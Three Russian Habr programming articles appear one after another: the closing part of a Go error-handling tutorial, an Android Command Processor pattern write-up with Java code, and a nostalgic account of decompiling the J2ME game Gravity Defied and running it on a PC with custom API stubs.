Выполнение утверждения типа `x.(T)` с интерфейсом типа `T` подтверждает, что `x` реализует интерфейс `T`. Таким образом, вы можете гарантировать, что интерфейсное значение реализует интерфейс, и только если это так, вы сможете использовать его методы.
*(5...// утверждаем, что x реализует интерфейс resolver
6...// здесь мы уже можем безопасно использовать этот метод)*
Чтобы понять, как это можно использовать, давайте снова взглянем на `pkg/errors`. Вы уже знаете этот пакет ошибок, так что давайте углубимся в `errors.Cause(err error) error` функцию.
Эта функция получает ошибку и извлекает самую внутреннюю ошибку, которую та переносит (ту, которая уже не служит оберткой для другой ошибки). Это может показаться примитивным, но есть много замечательных вещей, которые вы можете извлечь из этой реализации:
источник: [pkg/errors](https://github.com/pkg/errors/blob/master/errors.go#L269)
Функция получает значение ошибки, и она не может предполагать, что получаемый ею `err` аргумент является ошибкой-оберткой (поддерживаемой `Cause` методом). Поэтому перед вызовом метода `Cause` необходимо убедиться, что вы имеете дело с ошибкой, которая реализует этот метод. Выполняя утверждение типа в каждой итерации цикла for, вы можете убедиться, что `cause` переменная поддерживает метод `Cause`, и может продолжать извлекать из него внутренние ошибки до тех пор, пока не найдете ошибку, у которой нет `Cause`.
Создавая простой локальный интерфейс, содержащий только те методы, которые вам нужны, и применяя на нем утверждение, ваш код отделен от других зависимостей. Полученный вами аргумент не обязательно должен быть известной структурой, он просто должен быть ошибкой. Любой тип, реализующий методы `Error` и `Cause`, подойдет. Таким образом, если вы реализуете `Cause` метод в своем типе ошибки, вы можете использовать эту функцию с ним без замедлений.
Однако следует помнить об одном небольшом недостатке: интерфейсы могут изменяться, поэтому вам следует тщательно поддерживать код, чтобы ваши утверждения не нарушались. Не забудьте определить свои интерфейсы там, где вы их используете, поддерживать их стройными и аккуратными, и у вас все будет хорошо.
Наконец, если вам нужен только один метод, иногда удобнее сделать утверждение на анонимном интерфейсе, содержащем только метод, на который вы полагаетесь, т. е. `v, ok := x.(interface{ F() (int, error) })`. Использование анонимных интерфейсов может помочь отделить ваш код от возможных зависимостей и защитить его от возможных изменений в интерфейсах.
### Утверждение с конкретным типом T и Type Switch
Я предваряю этот раздел введением двух похожих шаблонов обработки ошибок, которые страдают от нескольких недостатков и ловушек. Это не значит, что они не распространенные. Оба они могут быть удобными инструментами в небольших проектах, но они плохо масштабируются.
Первый — это второй вариант утверждения типа: выполняется утверждение типа `x.(T)` с конкретным типом `T`. Он утверждает, что значение `x` имеет тип `T`, или оно может быть преобразовано в тип `T`.
*(2//мы можем использовать v как mypkg.SomeErrorType)*
Другой — это шаблон [Type Switch](https://golang.org/doc/effective_go.html#type_switch). Type Switch объединяют оператор switch с утверждением типа, используя зарезервированное ключевое слово `type`. Они особенно распространены в обработке ошибок, где знание основного типа переменной ошибки может быть очень полезным.
*(3// обработка…
5// обработка...)*
Большим недостатком обоих подходов является то, что оба они приводят к связыванию кода со своими зависимостями. Оба примера должны быть знакомы со структурой `SomeErrorType` (которая, очевидно, должна быть экспортирована) и должны импортировать пакет `mypkg`.
В обоих подходах при обработке ваших ошибок вы должны быть знакомы с типом и импортировать его пакет. Ситуация усугубляется, когда вы имеете дело с ошибками в обертках, где причиной ошибки может быть ошибка, возникшая из-за внутренней зависимости, о которой вы не знаете и не должны знать.
*(7// обработка…
9// обработка...)*
Type Switch различают `*MyStruct` и `MyStruct`. Поэтому, если вы не уверены, имеете ли вы дело с указателем или фактическим экземпляром структуры, вам придется предоставить оба варианта. Более того, как и в случае с обычными switch, кейсы в Type Switch не проваливаются, но в отличие от обычных Type Switch, использование `fallthrough` запрещено в Type Switch, поэтому вам придется использовать запятую и предоставлять обе опции, что легко забыть.
Подытожим
---------
Вот и все! Теперь вы знакомы с ошибками и должны быть готовы к устранению любых ошибок, которые ваше приложение Go может выбросить (или фактически вернуть) на ваш путь!
Оба пакета `errors` представляют простые, но важные подходы к ошибкам в Go, и, если они удовлетворяют вашим потребностям, они являются отличным выбором. Вы можете легко реализовать свои собственные структуры ошибок и пользоваться преимуществами обработки ошибок Go, комбинируя их с `pkg/errors`.
Когда вы масштабируете простые ошибки, правильное использование утверждений типа может быть отличным инструментом для обработки различных ошибок. Либо с помощью Type Switch, либо путем утверждения поведения ошибки и проверки интерфейсов, которые она реализует.
Что дальше?
-----------
Обработка ошибок в Go сейчас очень актуальна. Теперь, когда вы получили основы, вам может быть интересно, что ждет нас в будущем для обработки ошибок Go!
В следующей версии Go 2 этому уделяется много внимания, и вы уже можете взглянуть на [черновой вариант](https://go.googlesource.com/proposal/+/master/design/go2draft.md). Кроме того, во время [dotGo 2019](https://www.dotgo.eu/) Марсель ван Лохуизен провел отличную беседу на тему, которую я просто не могу не рекомендовать — [«Значения ошибок GO 2 уже сегодня»](https://www.youtube.com/watch?v=SeVxmQl9Wmk).
Очевидно, есть еще множество подходов, советов и хитростей, и я не могу включить их все в один пост! Несмотря на это, я надеюсь, что вам он понравился, и я увижу вас в следующем выпуске серии *[«Перед тем как приступать к Go»](https://medium.com/gett-engineering/before-you-go-go-bf4f861cdec7)*!
А теперь традиционно ждем ваши комментарии. | https://habr.com/ru/post/453806/ | null | ru | null |
# Шаблоны проектирования мобильных приложений. Command Processor
*“Пишите код так, как будто сопровождать его будет склонный к насилию психопат, который знает, где вы живёте.”*
Мартин Голдинг
При разработке одного из проектов, использующего GooglePlacesAPI, у меня возникла проблема организации сетевого взаимодействия между моим Android–приложением и API сервера. Интуиция и “лапша” из AsyncTask’ов подсказывала, что должны быть другие способы организации такого рода взаимодействия. Так я наткнулся на шаблон проектирования CommandProcessor. Об использовании этого паттерна проектирования в Android-приложениях я и хочу рассказать.
Для начала, опишу задачу, которую нужно было решить. Требовалось написать приложение, использующее Google Places API, показывающее превью любого места на карте, которое выбрал пользователь, а далее, если пользователь захочет получить больше информации (например просмотреть больше картинок), то подгружать картинки по заданному Id выбранного места, и показывать уже все картинки, относящиеся к выбранному месту. Самым очевидным на тот момент для меня способом было использование AsyncTask. Но после некоторых попыток стало ясно, что должны быть и другие способы, более удобные. Использование AsyncTask’ ов было неудобным потому что:
**1)** Чтобы получить превью какого-нибудь места, необходимо было сначала сделать запрос для получения информации о всех местах, которые находились рядом с выбранным пользователем местом.
**2)** По полученным Id сформировать и отправить запрос о получении фотографии-превью.
**3)** При клике на превью получить все картинки относящиеся к этому месту.
Таким образом, при использовании AsyncTask’ов получался некий «водопад» и пришлось бы использовать один AsyncTask внутри другого. И тогда, погуглив, я нашел информацию о паттерне Command Processor, который отлично справляется с задачами, описанными выше.
Паттерн проектирования CommandProcessor разделяет запросы к сервису от их выполнения. Главный компонент паттерна — CommandProcessor, управляет запросами, планирует их выполнение, а также предоставляет дополнительный сервис, например, хранение запросов для позднего выполнения или отмены запроса. Диаграмма, заимствованная из [1] показывает отношения между компонентами паттерна:
Области применения паттерна
---------------------------
* Программы, в которых пользователь взаимодействует с системой через графический интерфейс. Например: текстовые редакторы, приложения для офиса. Команды (здесь и далее команды тоже самое что и запросы) используются для выполнения какой-то задачи, после того как пользователь нажал кнопку мыши, горячую клавишу, кнопку меню и т.д. Команды являются объектами, которые передаются процессору для выполнения.
* Распределенные или Параллельные системы. Используя этот паттерн можно передавать команды на выполнение в отдельный поток. Создать очередь команд и т.д.
* Приложения, взаимодействующие с сетью.
Реализация
----------
Теперь, рассмотрим, как этот паттерн можно применять при разработке мобильных приложений, а конкретно, Android–приложений. Способов реализации много, можно использовать IntentService или HaMeR-фрэймворк (Handler, Messages, Runnable) Давайте рассмотрим, как я имплементировал данный паттерн в тестовом приложении. Итак, тестовое приложение показывает маршруты и список мест, которые содержатся в том или ином маршруте. Соответственно, у нас есть два типа запросов (команд): TracksRequest и PlacesRequest. Оба класса являются наследниками базового класса CommonRequest, для того чтобы обрабатываться нашим процессором (CommandProcessor).
```
//Базовый класс CommonRequest для запросов
public abstract class CommonRequest {
public abstract void sendRequest(int i);
public int requestId;
}
```
```
// Реализация PlaceRequest
public class PlacesRequest extends CommonRequest{
private MessageController handler_;
public PlacesRequest(MessageController handler){
this.handler_ = handler;
}
public void sendRequest(int id){
sendAsyncPlaceRequest(id);
}
}
```
```
// Реализация TracksRequest
public class TracksRequest extends CommonRequest {
private MessageController handler_;
public TracksRequest(MessageController handler) {
this.handler_ = handler;
}
public void sendRequest(int id) {
sendAsyncTracksRequest();
}
}
```
В методе sendAsyncPlaceRequest происходит вся работа: это может быть создание URL для запроса к API, создание нового Thread, парсинг ответа и передача результата работы контроллеру с помощью Handler.
```
private void sendAsyncPlaceRequest(final int id){
Thread background = new Thread(new Runnable() {
@Override
public void run() {
String response = sendRequest(getUrl(id));
List places = new ArrayList<>();
try {
places = getPlacesFromJson(response);
} catch (JSONException e) {
Log.e("JSONException", e.getMessage());
}
handler\_.sendMessage(handler\_.obtainMessage(States.PLACES\_WERE\_FOUND,places));
}
});
background.start();
}
```
Далее следует реализовать класс CommandProcessor, который будет управлять нашими запросами и выполнять их:
```
publicclassRequestProcessor {
private UpdateCallbackListener clientActivity_;
public RequestProcessor(UpdateCallbackListener clienActivity) {
this.clientActivity_ = clienActivity;
}
// В зависимости от типа объекта отправляется соответствующая команда
public void execute(CommonRequest request, int id) {
request.sendRequest(id);
}
public void updateActivity(List extends Result results) {
clientActivity_.onUpdate(results);
}
}
```
Теперь нам нужен котроллер, который, в зависимости от состояния будет отправлять разные команды процессору. Результат работы запроса отправляется из потока с помощью Handler:
```
public class MessageController extends Handler {
private static MessageController instance = null;
private RequestProcessor processor_;
public void init (UpdateCallbackListener listener) {
processor_ = new RequestProcessor(listener);
}
public static MessageController getInstance(){
if (instance == null){
instance = new MessageController();
}
return instance;
}
public void handleMessage(Message msg) {
switch (msg.what) {
case States.INIT_REQUEST:
CommonRequest request = (CommonRequest)msg.obj;
processor_.execute(request);
break;
case States.REQUEST_COMPLETED:
List results = (List)msg.obj;
processor\_.updateActivity(results);
break;
default:
break;
}
}
}
```
Для того, чтобы теперь вернуть результат работы в активити, и вызвать какой-нибудь updateUI() для обновления пользовательского интерфейса (наполнения ListView, отрисовка маркеров на карте и т.д.) нужно определить интерфейс UpdateCallbackListener:
```
public interface UpdateCallbackListener {
void onUpdate(List extends Result results);
}
```
И реализовать его в нашей активити:
```
public void onUpdate(List extends Result results){
tracks_ = (List) results;
TrackAdapter trackAdapter = new TrackAdapter(this,tracks_);
listView_.setAdapter(trackAdapter);
}
```
После того, как результат вернется в ответе на запрос (к примеру, запрос на получение всех мест по этому маршруту) нам необходимо обновить актвити и передать объекты Place в адаптер. Это мы можем сделать через метод processor\_.updateActivity(places), который вызовет onUpdate() в активити, которая имплементировала данный метод. Следующая диаграмма, также взята из [1] показывает динамику поведения паттерна:
Чтобы инициировать запрос, нам нужно создать в активити объект TracksRequestи передать его в controller:
```
controller_ = MessageController.getInstance();
controller_.init(this);
TracksRequest tracksRequest = new TracksRequest(controller_);
controller_.sendMessage(controller_.obtainMessage(States.INIT_REQUEST,tracksRequest));
```
Реализация с помощью IntentService
----------------------------------
Использование IntentService также отлично позволяет реализовать этот паттерн. Рассмотрим диаграмму:
В качестве объекта-команды можно использовтаь Intent и передавать его в наш процессор. Creator — это наша activity, которая создает объект-команду, и передает этот объект executor’у, то есть IntentService’у в нашем случае. Таким образом, роль CommandProcessor выполняет класс CustomIntentService, а именно метод onHandleIntent() который в зависимости от данных, содержащихся в Intent, может выполнять различные операции. Чтобы вернуть результат в активити, в данном случае можно использовать BroadcastReceiver.
Пошаговая инструкция
--------------------
Итак, подведем итоги, чтобы реализовать данный паттерн необходимо выполнить следующее:
* Определить интерфейс абстрактной команды. Интерфейс инкапсулирует реализацию каждой отдельной команды. В нашем случае это был метод sendRequest(int i) который каждая из команд (запросов) реализовывала по – разному.
* Определить способ, которым команда вернет результат тому, кто её вызвал. Как было показано для этого мы определили интерфейс UpdateCallbackListener, с методом onUpdate() для каждой из активити.
* Реализовать каждую из команд. У нас было два вида запросов – один для получения информации о маршрутах (TracksRequest), второй для получения информации о местах(PlacesRequest).
* Реализовать контроллер, который будет отправлять команды. Создание и отправление команд можно реализовать с помощью Abstract Factory или Prototype. Однако не обязательно, чтобы контроллер был создателем команд. Как было видно из примера, объекты запросов были созданы в активти.
* Реализовать класс процессора, который будет принимать команду и обрабатывать. Для каждого из запросов класс RequestProcessor выполняет метод execute() .
Достоинства и недостатки паттерна.
----------------------------------
**Достоинства:**
* В таких приложениях как текстовый редактор, различные элементы интерфейса могут использовать одни и те же команды. Например, кнопка в меню “Создать”, и кнопка с таким же названием в контекстном меню могут обращаться к одной и той же команде.
* Возможность отправлять асинхронные запросы, управлять порядком вызовов, в зависимости от результата запроса.
* Гибкость при добавлении нового функционала в виде новой команды (запроса), не нарушая уже существующий функционал. Изменение или добавление новой команды никак не повлияет на обработчик команд.
* Разные клиенты (в нашем случае активити) могут использовать одни и те же команды. К примеру, запрос на загрузку изображения по Id, может использоваться для разных активити.
**Недостатки:**
* Дополнительно нужно отслеживать каждое состояние и соответствующе его обрабатывать.
* Количество команд может быть очень большим
* Двусторонняя связь. После того, как активити инициировала создание запроса, и ответ был получен, необходимо результат вернуть в активити.
Заключение
----------
Скорее всего, в том или ином виде вы уже видели реализацию паттерна. Но так как тема архитектуры мобильных приложений является достаточно актуальной, надеюсь, статья была полезной. В дальнейшем планируется рассмотреть еще несколько паттернов, применяемых в разработке мобильных приложений. Пишите вопросы в комментариях, до встречи.
Список источников
-----------------
[1] PATTERN-ORIENTED SOFTWARE ARCHITECTURE VOLUME 1. Douglas Schmidt, Michael Stal, Hans Rohnert, Frank Buschmann
[2] Command Revisited [www.dre.vanderbilt.edu/~schmidt/PDF/CommandRevisited.pdf](https://www.dre.vanderbilt.edu/~schmidt/PDF/CommandRevisited.pdf)
Тестовый проект на гитхабе: [github.com/GregaryMaster/CommandProcessor](https://github.com/GregaryMaster/CommandProcessor) | https://habr.com/ru/post/266045/ | null | ru | null |
# Ностальгии пост: j2me, Gravity Defied, 64kb
Эта статья не преследует никаких практических целей — просто мне стало интересно, как лет 15 назад разработчикам удавалось делать вполне функциональные приложения и игры для слабых телефонов того времени.
* Если что, я не имею к этой игре никакого отношения.
Например, игра с картинки выше не использовала floating-point числа, так как не все телефоны их поддерживали. "3д" и физика — полностью самописные на fixed-point вычислениях поверх целых чисел. Но мне кажется, перечисление особенностей одного приложения будет не сильно информативным. Для полноты картины я немного затрону возможности телефонов, j2me платформу и заодно сравню это с современной разработкой под Android.
Кроме того, j2me — это полноценная java старой версии (кажется, 1.3), я дописал некоторые недостающие классы и смог запустить .jar файлик с игрой на своём PC. Скриншот выше — оттуда. Не скажу, что от этого есть какая-то польза — просто API для j2me было очень простым и мне захотелось попробовать.
Телефоны того времени.
----------------------
В техническом плане современные телефоны ушли очень далеко, но в плане функциональности, на мой взгляд, даже старые телефоны позволяли делать всякие интересные вещи.
Моим первым телефоном была [Nokia 5200](https://allnokia.ru/catalog/nokia-5200/), и я вместо "абстрактного смартфона в вакууме" лучше опишу его особенности:
* появился в 2006 году
* дисплей 128x160 пискелей размером в целых 1.8 дюйма
* Дисплей поддерживал аж 262 тысяч цветов. (если я понимаю, это по 6 бит на R, G, B составляющие).
* Ик-порт и bluetooth для передачи файлов на другие телефоны.
* несколько мегабайт долговременной внутренней памяти (точно не помню, в интернете пишут про 7 Мб)
* слот для microSd карточки, у меня, кажется, была на 256 Мб.
* уже тогда были какие-то примитивные браузеры и opera mini (которая, кстати, тоже весила буквально сотню килобайт)
* камера 640x480 пикселей.
* поддержка MIDP 2.0 ([wiki](https://en.wikipedia.org/wiki/Mobile_Information_Device_Profile))
* телефон умел притворяться флешкой при подключении через usb
* но заряжался через какой-то свой разъём
* Я не нашёл, какая производительность была у процессоров, но она явно была очень скромной — не больше 100Мгц частоты и, возможно, очень медленная или отсутствующая реализация floating-point чисел. К сожалению, телефон давно умер и запустить какие-либо бенчмарки на нём я не смогу.
Не буду перечислять мобильные игры, в которые играл на нём — просто скажу, что они все весили 50-200кб и при этом обладали достаточно глубоким геймплеем.
Write once, run everywhere
--------------------------
Изначально java позиционировалась именно для всяких маломощных бытовых устройств. И она очень удачно прописалась на телефонах того времени, позволяя запускать одну и ту же игру на телефонах различных производителей. Конечно, существовали platform-специфичные особенности, но чисто теоретически код должен был одинаково работать везде.
Язык был простым, байткод — тоже. В нём команды длиной в байт для виртуальной стековой машины — написать наивный интерпретатор не так уж и сложно. А ещё по этой причине байткод занимал мало места. Что интересно, внутри .jar у j2me приложения лежат самые настоящие .class файлы от полноценной java. Разница была лишь в том, что мобильное приложение для взаимодействия с внешним миром использовало классы Canvas, MIDlet и прочие из пакета javax.microedition.
На мой взгляд, это гениально просто. Android по сравнению с этим кажется набором костылей: код компилируется в .class файлы, потом конвертируется в .dex (или несколько, т.к. один dex файл не поддерживает больше 65к методов), пакуется в apk, а потом мобильное устройство перекомпилирует это под [ART](https://en.wikipedia.org/wiki/Android_Runtime).
Кроме того, мобильная джава поддерживала многопоточность. Как мы увидим дальше, при написании приложений без неё было не обойтись. Что интересно, взгляд на многопоточность тогда был немного иной. Например, у стандартного класса Vector все методы были synchronized. Сейчас Vector считается устаревшим, и предлагается использовать обычный ArrayList в однопоточном коде и тот же самый ArrayList в многопоточном, но явно захватывать блокировку на нём.
Ещё интересная особенность — в старой java не было дженериков. Система типов состояла из примитивов (int, boolean, ...) и объектов. Тот же класс Vector хранил внутри себя объекты и возвращал их как Object, а программист после этого кастовал полученное к нужному типу.
Кстати, когда я вижу go и ручные касты к нужным типам, я вспоминаю java 1.3. Только go почему-то застрял в развитии, а в случае в java уже в 2004 году вышла версия 1.5 с поддержкой дженериков. Но в мобильной разработке всё ещё использовалась 1.3.
Так как мобильное j2me приложение — это самый обычный .jar с нормальными .class файлами внутри (пусть и в формате 1.3, которому уже 20 лет), можно этим воспользоваться и запустить Gravity defied прямо на PC. В "большой" java классов из javax.microedition нет, но их можно написать самому. Задача даже проще, так как есть классы с почти таким же набором методов: например, `java.awt.Image` и `javax.microedition.lcdui.Image`.
Архитектура J2ME приложений
---------------------------
Для взаимодействия с внешним миром использовались классы из `javax.microedition`. Возможно, из-за ограниченных возможностей телефонов, а может, просто из-за чувства прекрасного у разработчиков, набор классов очень маленький, а сами они — максимально простые. Для примера можно посмотреть классы в [javax.microedition.lcdui](https://docs.oracle.com/javame/config/cldc/ref-impl/midp2.0/jsr118/javax/microedition/lcdui/package-tree.html).
Для создания приложения надо было унаследоваться от класса [MIDlet](https://docs.oracle.com/javame/config/cldc/ref-impl/midp1.0/jsr037/javax/microedition/midlet/package-summary.html).
При старте приложения у него вызывался метод `startApp()`.
Если приложение сворачивалось — вызывался `pauseApp()` и снова `startApp()` при повторном открытии. При полноценном закрытии вызывалось `destroyApp()`.
Кроме того, приложение могло само вызвать методы `notifyPaused()` и `notifyDestroyed()` — чтобы сообщить о том, что оно поставилось на паузу или завершилось.
Кроме того, приложение могло попроситься "выйти из паузы" методом `resumeRequest()`
Честно говоря, я не очень понимаю смысл `notifyPaused()`, так как и без него приложения нормально работали, никто их не убивал.
Мне кажется, именно таким и должен быть lifecycle приложения здорового человека.
На практике обычно получалось, что класс приложения наследовался от Runnable и реализация выглядела как-то так:
```
Thread thread;
boolean isRunning;
boolean needToDestroy = false;
public void startApp() {
isRunning = true;
if (thread != null) {
thread = new Thread(this);
thread.start();
}
}
public void pauseApp() {
isRunning = false;
}
public void destroyApp(boolean unconditional) {
needToDestroy = true;
}
```
И всё, дальше приложение жило в своём потоке.
```
void run(){
while(!needToDestroy) {
// игровой цикл здесь
// и если на паузе - спим.
while (!isRunning) {
Thread.sleep(100);
}
}
notifyDestroyed();
}
```
Мне кажется, будить поток каждые 100 миллисекунд — не страшно, и такой подход вполне мог бы существовать и на современных телефонах. Вдобавок, никто не запрещает остановить поток после вызова `pauseApp()` и снова запустить в `startApp()`
### Canvas
Для рисования на экране использовался ещё один класс — [Canvas](https://docs.oracle.com/javame/config/cldc/ref-impl/midp2.0/jsr118/javax/microedition/lcdui/Canvas.html). Он похож на десктопный Canvas в java.
Можно в любом потоке вызывать метод `repaint()`, который намекнёт системе, что надо бы обновить изображение. После этого в UI-потоке система вызовет `paint(Graphics g)`. Возможно, у кого-то снова возникнут вьетнамские флешбеки, но при сворачивании приложения с Canvas ничего страшного не происходило — объект оставался валидным на всём протяжении жизни программы. Единственное отличие — у приложения в фоне вызовы `repaint()` игнорировались и метод `paint(...)` не вызывался.
Что примечательно, уже тогда поддерживалсь сенсорные дисплеи: были методы
`hasPointerEvents(), hasPointerMotionEvents(), hasRepeatEvents()`, которые на сенсорном телефоне возвращали true. При нажатиях вызывались методы типа `pointerDragged(int x, int y)` (перемещение указателя), а так же версии для `pressed`(начало нажатия) и `released`(нажатие завершилось).
Поддержки мультитача нет — ну и ладно, тогда и подходящих дисплеев не было.
### Шрифты и меню
Что забавно, тогда существовало аж три размера шрифта — малый, средний и большой. Конкретные размеры зависели от телефона. Но, если учесть размеры дисплеев, то это выглядит нормально. Я не думаю, что даже дисплею 240х360 нужно сильно много размеров шрифтов. Самое важное — жирные и курсивные шрифты — поддерживались.
Сейчас это как-то унифицировалось, но раньше кнопка "назад" на смартфонах могла располагаться как слева, так и справа. В j2me существовал какой-то механизм создания менюшек, чтобы система сама рисовала пункты меню, поддерживала скроллинг и т.п., а приложение просто узнавало номер выбранного пункта. Например, на nokia 5800 такие менюшки можно было перематывать пальцем, даже если разработчики приложения об этом и не подозревали.
MIDlet Pascal
-------------
Когда-то я учился в школе, там освоил паскаль и других языков не знал. С нуля въехать в java2me разработку у меня не получилось, но на моё счастье, я узнал про существование [MIDlet pascal](https://ru.wikipedia.org/wiki/MIDletPascal) и свои первые приложения на телефон я писал именно на нём. В дальнейшем на j2me я перешёл довольно забавным способом — делал приложение на мидлет паскале, декомпилировал и смотрел, что получалось в java.
Что же внутри?
--------------
Ну ладно, хватит ностальгии, лучше посмотрим, как сделана Gravity Defied и как это уместилось в 64 килобайта.
Во-первых, .jar — это zip архив, содержимое которого весит 122.1 kB
* В папке META-INF лежит MANIFEST.MF на 3.8 kB, в котором перечислены файлики игры и SHA-1 и MD5 хеши для них. А так же название главного класса и файла с иконкой приложения.
* файл levels.mrg на 5.1 kB в довольно компактном виде содержит информацию о всех 30 игровых уровнях. В среднем 170 байт на игровой уровень. Подробнее про столь компактный формат хранения я расскажу позже.
* 11 картинок. В сумме около 10.8 kB. Некоторые из них являются атласами с кучкой спрайтов
* .class файлы, в сумме 98.3 kB, 15 штук. Самый маленький — 127 байт, самый большой 24.3 kB. Их по размеру можно разделить на группы:
+ два интерфейса, (4 метода в каждом), 127 и 174 байт.
+ простой класс с шестью полями и парой методов — 470 байт.
+ 9 классов разумного размера — от 1.6 до 6 kB.
+ god-like классы:
- m (я его потом переименовал в [MenuManager](https://gitlab.com/Kright/pc-j2me-emulator/-/blob/master/app-from-sources/src/main/java/MenuManager.java)) — 24.3kB, в нём захардкожены все возможные меню и сообщения игры. Никаких layout.xml и strings.txt :). Игра не подразумевала поддержку нескольких языков.
- i ([GameCanvas](https://gitlab.com/Kright/pc-j2me-emulator/-/blob/master/app-from-sources/src/main/java/GameCanvas.java)) 15.2 kB: много кода, связанного с рисованием, но, как ни странно, не весь.
- b ([GamePhysics](https://gitlab.com/Kright/pc-j2me-emulator/-/blob/master/app-from-sources/src/main/java/GamePhysics.java)) 20.6 kB: расчёт игровой физики и почему-то много кода, связанного с рисованием.
Декомпиляция
------------
Нам понадобится декомпилятор. Я взял fernflower — это тот, который встроен в intelliJ IDEA. Он вроде нормально работает — на выходе получился код, который вполне реально скомпилировать обратно. Несколько лет назад я пробовал другими декомпиляторами и они не справлялись.
Репозиторий с IDEA весит больше гигабайта и клонировать его долго — вместо этого можно воспользоваться [зеркалом](https://github.com/fesh0r/fernflower), в котором лежит только декомпилятор.
Сборка декомпилятора тривиальна: `/gradlew jar`, в папке build появится нужный .jar
Декомпиляция чуть сложнее: `mkdir decompiled && java -jar fernflower.jar -ren=1 GravityDefied_java decompiled`
По дефолту опция `ren` не включена и без неё получится код, в котором переменные и методы могут иметь забавные имена типа `if` или `for`. Байткод такие имена не запрещает, но компилятору java такое не понравится. С `ren=1` декомпилятор приведёт поля к виду типа `field_42` или `method_135` — хуже уже не станет, зато код станет валидным.
Игра вышла ещё в 2004 году — и, что примечательно, уже тогда использовалась обфускация:
* Байткод в каком-то виде хранит имена классов, методов и полей. И имена в одну или две буквы позволяли уменьшить размер .class файлов.
* Есть сюрпизы в виде невалидных имён типа `else`, `int` и т.п.
* Можно было вырезать неиспользуемые методы и опять же делать код компактнее. В игре "переименованиям" не подвёргся только класс Micro, и только в нём я нашёл неиспользуемые методы.
* возможно, для fixed-point вычислений использовались методы, которые были заинлайнены. Я сомневаюсь, что разработчики вручную писали код типа `(int)((long)a * b >> 16)`
* я не знаю, вручную были склеены несколько классов в один или с помощью обфускатора, но в игре можно найти такой класс Шрёдингера.
Собираем обратно
----------------
Смотреть на код — это хорошо, но неинформативно. Хочется его запускать и, возможно, добавлять отладочный вывод или ещё что-то. А ещё хочется восстановить нормальные имена переменных, методов и классов.
Много-много лет назад я писал код на Netbeans, и для сборки j2me приложений надо было скачивать специальное SDK. Для сборки, кажется, использовался ant. Подробнее можно [посмотреть здесь.](https://www.oracle.com/java/technologies/java-me-sdk-3-0-5-downloads.html)
Но старенькая нокия уже не работала, а я хотел собрать и запустить код прямо на своём компе и желательно в Linux. Так что я подготовил gradle проект и попробовал собрать код. Код не собирался — не хватало классов из `javax.microedition.*`. Логично — их же нет в PC-версии java. Я решил заняться велосипедостроением и просто механически добавил все несуществующие классы и методы. Игра использует маленькое подмножество из доступных методов и классов, так что это заняло не больше часа времени.
Для удобства я вывел в терминал `watch ./gradlew run` и в реальном времени смотрел на список ошибок. После добавления каждого нового метода по `ctrl+S` сохранял изменения.
Реализованные классы можно посмотреть [здесь](https://gitlab.com/Kright/pc-j2me-emulator/-/tree/master/emulator/src/main/java/javax/microedition).
Их всего лишь 19 штук:
* 8 для сохранений в javax.microedition.rms.
* 10 в .lcdui, которые отвечают за картинки, шрифты, Canvas и т.п.).
* MIDlet — главный класс, от которого приложение должно наследоваться.
После того как проект компилируется без ошибок, можно попробовать привести его к красивому виду.
В приложении есть класс Micro, в котором имена методов не обфусцированы. В общем-то логично, методы типа startApp унаследованы от MIDlet и переименовать их невозможно.
Пример кода:
```
protected void pauseApp() {
c = true;
if (!b) {
this.gameToMenu();
}
System.gc();
}
```
Вполне можно догадаться, что переменная `c` могла бы называться `isPaused`.
Для "простых" методов тоже довольно часто можно понять происходящее:
```
public void a() {
if (this.recordStore != null) {
try {
this.e.closeRecordStore();
return;
} catch (RecordStoreException var1) {
}
}
}
```
и переименовать во что-то типа `closeMethodStore`.
Кроме того, в intelliJ IDEA можно посмотреть все вызовы каких-то методов. Особенно — тех, заглушки для которых мы написали, типа `Image.loadImage(name)`:
```
this.p = Image.createImage("/splash.png");
```
Вполне очевидно, что p можно переименовать в splashImage.
С какой-то точки зрения это похоже на разгадывание судоку — находишь очевидные моменты, даёшь значащие названия переменным и методам. Это упрощает понимание остальных методов, даёшь названия им… Огромный респект разработчикам Jetbrains — я как минимум часов десять лазил по коду, переименовывая переменные с методами — и ни разу код не поломался. Впрочем, я всё равно время от времени компилировал код и убеждался, что он остался рабочим.
В какой-то момент мне это надоело. Я попробовал запустить код и он упал — потому что все мои заглушки типа loadImage()… возвращали null и ничего не делали. Настало время писать реализацию для заглушек.
Большая часть из них делалась тривиально: например, класс Image:
```
public class Image {
public final java.awt.Image image;
private Image(java.at.Image image) {
this.image = image;
}
public Graphics getGraphics() {
throw new RuntimeException();
}
public int getWidth() {
return image.getWidth(null);
}
public static Image createImage(int w, int h) {
return new Image(new BufferedImage(w, h, BufferedImage.TYPE_INT_ARGB));
}
...
}
```
Конечно, API местами не совпадает, но оно всё равно очень похоже.
Для рисования я сделал класс CanvasImpl, который наследуется от JPanel. Он обрабатывал нажатия кнопок и вызовы отрисовки и превращал их в вызовы нашего игрового Canvas.
Я даже вошёл во вкус и сделал апскейлинг картинки, чтобы не приходилось всматриватьcя в крохотное окошко:
```
public void paintComponent(Graphics g) {
if (upscale == 1) {
canvas.paint(new javax.microedition.lcdui.Graphics(g));
} else {
canvas.paint(new javax.microedition.lcdui.Graphics(screen.getGraphics()));
g.drawImage(screen, 0, 0, width * upscale, height * upscale, Color.WHITE, null);
}
}
```
`javax.microedition.lcdui.Graphics(g)` — это моя обёртка над awt.Graphics, транслирующая вызовы рисования.
Раз за разом я запускал код, смотрел как он падает в разных местах и дописывал реализации для своих заглушек. Некоторые исключения игра "безболезненно" проглатывала, но потом работала некорректно.
Например, если в игре не работает загрука картинок, то игра работает, рисует мотоциклиста простыми линияим, колёса — палочками. Но тормозит на PC. А почему? Зачем-то в игре фон замащивается картинками `64 * 64`, и если картинка не грузится, подставляется пустая картина размером `1 * 1` пиксель, и при замащивании дисплея она нарисуется `240 * 320` раз или типа того. Видимо, игра изначально работала и без картинок с графикой из палочек и кружочков, потом разработчики добавили картинки, но не тестировали, как же работает без них.
Кроме того, есть забавные баги с сохранением. Возможно, я сам его некорректно реализовал, но суть в том, что игра в некоторых моментах пытается писать в невалидное место, потом ловит исключение, проглатывает и спокойно работает дальше.
Честно говоря, я не гуглил, какие есть готовые эмуляторы j2me для PC. Скорее всего есть — году эдак в 2010 я пользовался каким-то, когда только-только осваивал программирование и пробовал писать игры. Если в существующих эмуляторах не хватает каких-то возможностей и захочется доработать мой для поддержки ещё каких-то игр — пишите в личку.
Заработало!
-----------
В итоге мне удалось собрать декомпилированный код вместе со своими заглушками, запустить и поиграть.
